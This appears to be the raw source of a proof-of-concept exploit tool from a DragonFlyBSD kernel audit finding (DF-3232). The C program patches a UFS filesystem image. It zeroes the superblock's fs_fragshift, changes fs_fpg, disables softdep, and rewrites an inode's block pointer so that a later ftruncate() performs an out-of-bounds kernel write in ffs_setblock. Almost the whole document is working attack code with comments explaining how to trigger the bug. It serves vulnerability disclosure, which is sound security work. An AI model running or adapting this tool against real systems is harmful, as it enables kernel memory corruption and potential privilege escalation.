โฌข DragonFlyBSD Kernel Audit
DF-3232 / sbtool2.c
โ† back to finding โ†“ download raw
/*
 * sbtool2.c โ€” DF-3232 superblock fragshift / inode patcher (root, guest).
 *
 * ffs_subr.c's block-bitmap helpers index the cylinder-group free-block
 * bitmap with
 *
 *	h = fragstoblks(fs, bno)  ==  bno >> fs->fs_fragshift
 *
 * (ffs_alloc.c:1137/1208/1538 call ffs_isblock/ffs_clrblock/
 * ffs_isfreeblock/ffs_setblock with this h).  The bitmap itself holds
 * one BIT per FRAGMENT, i.e. bitmap bytes == fpg / fs_frag (one byte per
 * fs_frag=8 frags).  Nothing at mount validates that fs_fragshift ==
 * log2(fs_frag) (ffs_vfsops.c:642-646 checks only magic/bsize;
 * ffs_oldfscompat never touches it), so with fs_fragshift = 0 every
 * index is fs_frag times too large and cp[h] reads/writes up to 8x
 * past the end of the bitmap โ€” past the end of the bread()'d cg buffer.
 *
 * This tool:
 *   info              dump the relevant sb + cylinder-group-0 layout
 *   poison <fpg>      set fs_fragshift = 0 (and fs_fpg = <fpg>, so that
 *                     dtogd(bno) == bno keeps attacker block numbers
 *                     inside cylinder group 0)
 *   setdb <ino> <bno> point inode <ino>'s di_db[0] at frag <bno> so a
 *                     single ftruncate() frees exactly that block
 *                     (ffs_blkfree_cg -> ffs_setblock OOB write)
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <unistd.h>
#include <err.h>
#include <stddef.h>
#include <sys/types.h>

typedef int32_t ufs_time_t;
typedef int32_t ufs_daddr_t;
#define _KERNEL_STRUCTURES
#define MAXFRAG 8
#include "fs.h"
#include "dinode.h"

static int fd;
static off_t sbpos;
static struct fs sb;

static void
loadsb(void)
{
	if (pread(fd, &sb, sizeof(sb), sbpos) != sizeof(sb))
		err(1, "pread sb");
	if (sb.fs_magic != FS_MAGIC)
		errx(1, "bad magic");
}

static void
printall(void)
{
	struct cg cg;
	off_t cgoff = (off_t)sb.fs_cblkno * sb.fs_fsize;

	printf("[sb] bsize=%ld fsize=%ld frag=%ld bshift=%d fshift=%d "
	    "fragshift=%d\n", (long)sb.fs_bsize, (long)sb.fs_fsize,
	    (long)sb.fs_frag, sb.fs_bshift, sb.fs_fshift, sb.fs_fragshift);
	printf("[sb] fpg=%ld ncg=%ld cpg=%ld spc=%ld size=%ld cgsize=%d "
	    "ipg=%ld inopb=%ld iblkno=%d cblkno=%d sblkno=%d\n",
	    (long)sb.fs_fpg, (long)sb.fs_ncg, (long)sb.fs_cpg,
	    (long)sb.fs_spc, (long)sb.fs_size, sb.fs_cgsize,
	    (long)sb.fs_ipg, (long)sb.fs_inopb, sb.fs_iblkno, sb.fs_cblkno,
	    sb.fs_sblkno);
	if (pread(fd, &cg, sizeof(cg), cgoff) != sizeof(cg))
		err(1, "read cg0");
	printf("[cg0] magic=%08x freeoff=%d nextfreeoff=%d clustersumoff=%d "
	    "clusteroff=%d nclusterblks=%d ndblk=%d\n",
	    cg.cg_magic, cg.cg_freeoff, cg.cg_nextfreeoff,
	    cg.cg_clustersumoff, cg.cg_clusteroff, cg.cg_nclusterblks,
	    cg.cg_ndblk);
	printf("[geom] bitmap bytes (fpg/frag) = %ld ; cg data ends at "
	    "freeoff+bitmap = %d ; buffer = %d bytes\n",
	    (long)(sb.fs_fpg / sb.fs_frag),
	    cg.cg_freeoff + (int)(sb.fs_fpg / sb.fs_frag), sb.fs_cgsize);
}

int
main(int argc, char **argv)
{
	if (argc < 3) {
		fprintf(stderr, "usage: sbtool2 img "
		    "{info|poison fpg|setdb ino bno}\n");
		return (2);
	}
	fd = open(argv[1], O_RDWR);
	if (fd < 0)
		err(1, "open %s", argv[1]);
	sbpos = 8192;
	loadsb();
	printall();

	if (!strcmp(argv[2], "info")) {
		/* nothing */
	} else if (!strcmp(argv[2], "poison") && argc == 4) {
		int32_t zero = 0, fpg = (int32_t)strtoul(argv[3], NULL, 0);
		int32_t fsz = sb.fs_fragshift;
		int32_t flags = sb.fs_flags & ~FS_DOSOFTDEP;

		printf("[*] poisoning: fs_fragshift %d -> 0, fs_fpg %ld -> %d,"
		    " fs_flags %08x -> %08x (softdep off: synchronous free)\n",
		    fsz, (long)sb.fs_fpg, fpg, sb.fs_flags, flags);
		if (pwrite(fd, &zero, 4, sbpos + offsetof(struct fs,
		    fs_fragshift)) != 4)
			err(1, "pwrite fragshift");
		if (pwrite(fd, &fpg, 4, sbpos + offsetof(struct fs,
		    fs_fpg)) != 4)
			err(1, "pwrite fpg");
		if (pwrite(fd, &flags, 4, sbpos + offsetof(struct fs,
		    fs_flags)) != 4)
			err(1, "pwrite flags");
	} else if (!strcmp(argv[2], "setdb") && argc == 5) {
		uint32_t ino = (uint32_t)strtoul(argv[3], NULL, 0);
		int32_t bno = (int32_t)strtol(argv[4], NULL, 0);
		/*
		 * Locate the inode using STOCK semantics (the image is
		 * still unpoisoned at this point): first inode block of
		 * cg0.  blkstofrags(blk) = blk * 8.
		 */
		off_t blk = (off_t)((ino % sb.fs_ipg) / sb.fs_inopb);
		off_t frag = sb.fs_iblkno + blk * sb.fs_frag;
		off_t ioff = frag * sb.fs_fsize +
		    (off_t)((ino % sb.fs_inopb) * sizeof(struct ufs1_dinode));
		struct ufs1_dinode di;

		printf("[*] ino %u: inode block frag %ld, byte off %ld "
		    "(sizeof dinode=%zu)\n", ino, (long)frag, (long)ioff,
		    sizeof(di));
		if (pread(fd, &di, sizeof(di), ioff) != sizeof(di))
			err(1, "pread dinode");
		if ((di.di_mode & IFMT) == 0)
			errx(3, "inode %u at off %ld looks EMPTY โ€” wrong ino",
			    ino, (long)ioff);
		printf("[*] before: mode=%06o nlink=%u size=%llu db0=%ld "
		    "db1=%ld\n", di.di_mode, (unsigned)di.di_nlink,
		    (unsigned long long)di.di_size, (long)di.di_db[0],
		    (long)di.di_db[1]);
		di.di_db[0] = bno;
		di.di_size = sb.fs_bsize;
		di.di_nlink = 1;
		di.di_mode = IFREG | 0666;
		if (pwrite(fd, &di, sizeof(di), ioff) != sizeof(di))
			err(1, "pwrite dinode");
		printf("[*] after : db0=%d size=%lu โ€” ftruncate() will free "
		    "this block via ffs_setblock(h=%d>>fragshift)\n",
		    bno, (unsigned long)sb.fs_bsize, bno);
	} else {
		fprintf(stderr, "bad args\n");
		return (2);
	}

	loadsb();
	printf("[sb-after] fragshift=%d fpg=%ld\n", sb.fs_fragshift,
	    (long)sb.fs_fpg);
	return (0);
}